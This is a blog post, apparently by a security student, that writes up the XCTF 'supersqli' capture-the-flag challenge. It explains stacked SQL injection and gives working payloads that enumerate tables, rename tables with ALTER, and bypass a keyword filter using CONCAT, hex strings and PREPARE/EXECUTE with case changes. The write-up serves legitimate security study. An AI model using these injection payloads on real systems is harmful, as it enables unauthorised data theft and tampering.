Noname's Blog
信息安全专业的小萌新,立志走上更大的舞台
SQL堆叠注入

SQL堆叠注入

也是在XCTF的攻防世界中遇到的考点

原理及局限性

SQL中分号(;)用来表示一条语句的结束,那么在分号结束一条语句后,再构造下一条语句,堆叠注入可以执行任意语句,union/union all执行查询语句
例子:

而堆叠注入并不是每一个环境都可以进行,会有一些不支持、权限不足的情况
参考:
https://www.cnblogs.com/0nth3way/articles/7128189.html
有一些使用实例

XCTF-supersqli

最初做普通测试时
爆列数

1' order by 2#
1' order by 3# 报错 所以判断是两列
1' union select 1,database()# 

报错:

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

所以就无法使用union select来查询了
看表

1';show tables
array(1) {
  [0]=>
  string(16) "1919810931114514"
}
array(1) {
  [0]=>
  string(5) "words"
}

看列
注意:数字串为表名的表操作时要加反引号

1';show columns from `1919810931114514`;

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

也尝试读一下words表

1';show columns from words;


array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

问题就开始了,如何读字段
这里看出words是默认查询的表,所以可以通过改名字,alter和rename没有被过滤

1'; alter table words rename to words1;alter table`1919810931114514` rename to words;alter table words change flag id varchar(50);#

现在show tables看一下

array(1) {
  [0]=>
  string(5) "words"
}
array(1) {
  [0]=>
  string(6) "words1"
}

通过万能密码逻辑获得默认查询的字段里的内容

1' or 1=1#

还有一个思路是绕过select
这里有一种预编译的方式

set用于设置变量名和值 
prepare用于预备一个语句,并赋予名称,以后可以引用该语句 
execute执行语句 
deallocate prepare用来释放掉预处理的语句

直接上一堆乱七八糟payload

1';SET @sql = CONCAT('se', 'lect * from `1919810931114514`;');PREPARE stmt from @sql;execute stmt;
or
1';SET @sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE execsql from @sql;execute execsql;

prepare语句准备好一条SQL语句,并分配给该条语句一个名字"sql",再通过EXECUTE命令运行

set和prepare会被strstr识别后拦住,但strstr对大小写不敏感,改成大写即可